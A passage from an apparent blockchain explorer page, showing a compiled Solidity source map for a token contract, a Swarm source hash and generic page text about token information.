;;-1:-1:-1;;;;;3626:29:0;;:::o;6825:313::-;6923:4;6940:36;6950:6;6958:9;6969:6;6940:9;:36::i;:::-;;6987:121;6996:6;7004:12;:10;:12::i;:::-;7018:89;7056:6;7018:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7018:19:0;;;;;;:11;:19;;;;;;7038:12;:10;:12::i;:::-;-1:-1:-1;;;;;7018:33:0;;;;;;;;;;;;-1:-1:-1;7018:33:0;;;:89;:37;:89::i;:::-;6987:8;:121::i;:::-;-1:-1:-1;7126:4:0;6825:313;;;;;:::o;3664:81::-;;;:::o;6420:128::-;6473:7;6500:40;6517:22;6527:11;6517:9;:22::i;:::-;6500:12;;;:16;:40::i;:::-;6493:47;;6420:128;:::o;4772:83::-;4838:9;;;;4772:83;:::o;5526:218::-;5614:4;5631:83;5640:12;:10;:12::i;:::-;5654:7;5663:50;5702:10;5663:11;:25;5675:12;:10;:12::i;:::-;-1:-1:-1;;;;;5663:25:0;;;;;;;;;;;;;;;;;-1:-1:-1;5663:25:0;;;:34;;;;;;;;;;;:38;:50::i;3933:45::-;;;;;;;;;;;;;;;:::o;4971:119::-;-1:-1:-1;;;;;5064:18:0;;5037:7;5064:18;;;:9;:18;;;;;;4971:119;;;;:::o;2799:79::-;2837:7;2864:6;-1:-1:-1;;;;;2864:6:0;2799:79;:::o;3024:155::-;2943:12;:10;:12::i;:::-;2933:6;;-1:-1:-1;;;;;2933:6:0;;;:22;;;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;;;;;;;;;3112:6:::1;::::0;;3091:45:::1;::::0;3128:6:::1;::::0;-1:-1:-1;;;;;3112:6:0;;::::1;::::0;3091:45:::1;::::0;::::1;3147:6;:24:::0;;-1:-1:-1;;;;;;3147:24:0::1;3164:6;3147:24;::::0;;3024:155::o;4677:87::-;4716:13;4749:7;4742:14;;;;;:::i;5249:269::-;5342:4;5359:129;5368:12;:10;:12::i;:::-;5382:7;5391:96;5430:15;5391:96;;;;;;;;;;;;;;;;;:11;:25;5403:12;:10;:12::i;:::-;-1:-1:-1;;;;;5391:25:0;;;;;;;;;;;;;;;;;-1:-1:-1;5391:25:0;;;:34;;;;;;;;;;;:96;:38;:96::i;6650:167::-;6728:4;6745:42;6755:12;:10;:12::i;:::-;6769:9;6780:6;6745:9;:42::i;6266:146::-;6344:6;;;;;-1:-1:-1;;;;;6344:6:0;6333:9;:17;6330:75;;;6355:5;6352:51;;;-1:-1:-1;;;;;6361:14:0;;;;;;:5;:14;;;;;6378:1;6361:18;;6352:51;;;-1:-1:-1;;;;;6385:14:0;;6402:1;6385:14;;;:5;:14;;;;;:18;6352:51;6266:146;;:::o;5098:143::-;-1:-1:-1;;;;;5206:18:0;;;5179:7;5206:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5098:143::o;3885:41::-;;;;;;;;;;;;;;;:::o;3187:244::-;2943:12;:10;:12::i;:::-;2933:6;;-1:-1:-1;;;;;2933:6:0;;;:22;;;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3276:22:0;::::1;3268:73;;;;-1:-1:-1::0;;;3268:73:0::1;;;;;;;:::i;:::-;3378:6;::::0;;3357:38:::1;::::0;-1:-1:-1;;;;;3357:38:0;;::::1;::::0;3378:6;::::1;::::0;3357:38:::1;::::0;::::1;3406:6;:17:::0;;-1:-1:-1;;;;;;3406:17:0::1;-1:-1:-1::0;;;;;3406:17:0;;;::::1;::::0;;;::::1;::::0;;3187:244::o;93:115::-;189:10;93:115;:::o;5921:337::-;-1:-1:-1;;;;;6014:19:0;;6006:68;;;;-1:-1:-1;;;6006:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6093:21:0;;6085:68;;;;-1:-1:-1;;;6085:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6166:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;;:36;;;6218:32;;;;;6196:6;;6218:32;:::i;:::-;;;;;;;;5921:337;;;:::o;7214:838::-;7301:4;-1:-1:-1;;;;;7328:20:0;;7320:70;;;;-1:-1:-1;;;7320:70:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7409:23:0;;7401:71;;;;-1:-1:-1;;;7401:71:0;;;;;;;:::i;:::-;7500:1;7491:6;:10;:31;;;;-1:-1:-1;;;;;;7505:13:0;;;;;;:5;:13;;;;;;7521:1;-1:-1:-1;7491:31:0;7483:40;;;;;;7547:6;;-1:-1:-1;;;;;7539:14:0;;;7547:6;;;;;7539:14;;;:35;;-1:-1:-1;7568:6:0;;-1:-1:-1;;;;;7557:17:0;;;7568:6;;;;;7557:17;;7539:35;7536:122;;;7605:53;;;;;;;;;;;-1:-1:-1;;;7605:53:0;;;;;;;;-1:-1:-1;;;;;7605:17:0;;-1:-1:-1;7605:17:0;;;:9;:17;;;;;;;;:53;;7627:6;;7605:21;:53::i;:::-;-1:-1:-1;;;;;7585:17:0;;;;;;:9;:17;;;;;:73;7536:122;-1:-1:-1;;;;;7703:16:0;;7669:19;7703:16;;;:8;:16;;;;;;;;;:39;;-1:-1:-1;;;;;;7723:19:0;;;;;;:8;:19;;;;;;;;7703:39;7699:184;;;-1:-1:-1;7773:6:0;7699:184;;;7826:8;7833:1;7826:6;:8;:::i;:::-;-1:-1:-1;;;;;7849:17:0;;;;;;:9;:17;;;;;:22;;7812;;-1:-1:-1;7870:1:0;;7849:17;;;:22;;7870:1;;7849:22;:::i;:::-;;;;-1:-1:-1;;7699:184:0;-1:-1:-1;;;;;7918:20:0;;;;;;:9;:20;;;;;;:37;;7943:11;7918:24;:37::i;:::-;-1:-1:-1;;;;;7895:20:0;;;;;;;:9;:20;;;;;;;:60;;;;7973:40;;;;;;;;;;8001:11;;7973:40;:::i;:::-;;;;;;;;-1:-1:-1;8033:4:0;;7214:838;-1:-1:-1;;;;7214:838:0:o;1375:192::-;1461:7;1497:12;1489:6;;;;1481:29;;;;-1:-1:-1;;;1481:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1521:9:0;1533:5;1537:1;1533;:5;:::i;:::-;1521:17;1375:192;-1:-1:-1;;;;;1375:192:0:o;1231:136::-;1289:7;1316:43;1320:1;1323;1316:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1309:50;1231:136;-1:-1:-1;;;1231:136:0:o;1042:181::-;1100:7;;1132:5;1136:1;1132;:5;:::i;:::-;1120:17;;1161:1;1156;:6;;1148:46;;;;-1:-1:-1;;;1148:46:0;;;;;;;:::i;14:175:1:-;84:20;;-1:-1:-1;;;;;133:31:1;;123:42;;113:2;;179:1;176;169:12;194:198;;306:2;294:9;285:7;281:23;277:32;274:2;;;327:6;319;312:22;274:2;355:31;376:9;355:31;:::i;397:274::-;;;526:2;514:9;505:7;501:23;497:32;494:2;;;547:6;539;532:22;494:2;575:31;596:9;575:31;:::i;:::-;565:41;;625:40;661:2;650:9;646:18;625:40;:::i;:::-;615:50;;484:187;;;;;:::o;676:342::-;;;;822:2;810:9;801:7;797:23;793:32;790:2;;;843:6;835;828:22;790:2;871:31;892:9;871:31;:::i;:::-;861:41;;921:40;957:2;946:9;942:18;921:40;:::i;:::-;911:50;;1008:2;997:9;993:18;980:32;970:42;;780:238;;;;;:::o;1023:369::-;;;1149:2;1137:9;1128:7;1124:23;1120:32;1117:2;;;1170:6;1162;1155:22;1117:2;1198:31;1219:9;1198:31;:::i;:::-;1188:41;;1279:2;1268:9;1264:18;1251:32;1326:5;1319:13;1312:21;1305:5;1302:32;1292:2;;1353:6;1345;1338:22;1292:2;1381:5;1371:15;;;1107:285;;;;;:::o;1397:266::-;;;1526:2;1514:9;1505:7;1501:23;1497:32;1494:2;;;1547:6;1539;1532:22;1494:2;1575:31;1596:9;1575:31;:::i;:::-;1565:41;1653:2;1638:18;;;;1625:32;;-1:-1:-1;;;1484:179:1:o;1668:203::-;-1:-1:-1;;;;;1832:32:1;;;;1814:51;;1802:2;1787:18;;1769:102::o;2100:187::-;2265:14;;2258:22;2240:41;;2228:2;2213:18;;2195:92::o;2292:603::-;;2433:2;2462;2451:9;2444:21;2494:6;2488:13;2537:6;2532:2;2521:9;2517:18;2510:34;2562:4;2575:140;2589:6;2586:1;2583:13;2575:140;;;2684:14;;;2680:23;;2674:30;2650:17;;;2669:2;2646:26;2639:66;2604:10;;2575:140;;;2733:6;2730:1;2727:13;2724:2;;;2803:4;2798:2;2789:6;2778:9;2774:22;2770:31;2763:45;2724:2;-1:-1:-1;2879:2:1;2858:15;-1:-1:-1;;2854:29:1;2839:45;;;;2886:2;2835:54;;2413:482;-1:-1:-1;;;2413:482:1:o;2900:399::-;3102:2;3084:21;;;3141:2;3121:18;;;3114:30;3180:34;3175:2;3160:18;;3153:62;-1:-1:-1;;;3246:2:1;3231:18;;3224:33;3289:3;3274:19;;3074:225::o;3304:402::-;3506:2;3488:21;;;3545:2;3525:18;;;3518:30;3584:34;3579:2;3564:18;;3557:62;-1:-1:-1;;;3650:2:1;3635:18;;3628:36;3696:3;3681:19;;3478:228::o;3711:398::-;3913:2;3895:21;;;3952:2;3932:18;;;3925:30;3991:34;3986:2;3971:18;;3964:62;-1:-1:-1;;;4057:2:1;4042:18;;4035:32;4099:3;4084:19;;3885:224::o;4114:351::-;4316:2;4298:21;;;4355:2;4335:18;;;4328:30;4394:29;4389:2;4374:18;;4367:57;4456:2;4441:18;;4288:177::o;4470:356::-;4672:2;4654:21;;;4691:18;;;4684:30;4750:34;4745:2;4730:18;;4723:62;4817:2;4802:18;;4644:182::o;4831:401::-;5033:2;5015:21;;;5072:2;5052:18;;;5045:30;5111:34;5106:2;5091:18;;5084:62;-1:-1:-1;;;5177:2:1;5162:18;;5155:35;5222:3;5207:19;;5005:227::o;5237:400::-;5439:2;5421:21;;;5478:2;5458:18;;;5451:30;5517:34;5512:2;5497:18;;5490:62;-1:-1:-1;;;5583:2:1;5568:18;;5561:34;5627:3;5612:19;;5411:226::o;5642:177::-;5788:25;;;5776:2;5761:18;;5743:76::o;5824:184::-;5996:4;5984:17;;;;5966:36;;5954:2;5939:18;;5921:87::o;6013:128::-;;6084:1;6080:6;6077:1;6074:13;6071:2;;;6090:18;;:::i;:::-;-1:-1:-1;6126:9:1;;6061:80::o;6146:125::-;;6214:1;6211;6208:8;6205:2;;;6219:18;;:::i;:::-;-1:-1:-1;6256:9:1;;6195:76::o;6276:380::-;6361:1;6351:12;;6408:1;6398:12;;;6419:2;;6473:4;6465:6;6461:17;6451:27;;6419:2;6526;6518:6;6515:14;6495:18;6492:38;6489:2;;;6572:10;6567:3;6563:20;6560:1;6553:31;6607:4;6604:1;6597:15;6635:4;6632:1;6625:15;6489:2;;6331:325;;;:::o;6661:127::-;6722:10;6717:3;6713:20;6710:1;6703:31;6753:4;6750:1;6743:15;6777:4;6774:1;6767:15

Swarm Source

ipfs://3df7466ab663619b1bfec34372060ce5be9502acb0f3132b4c5c8ed76565991f
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.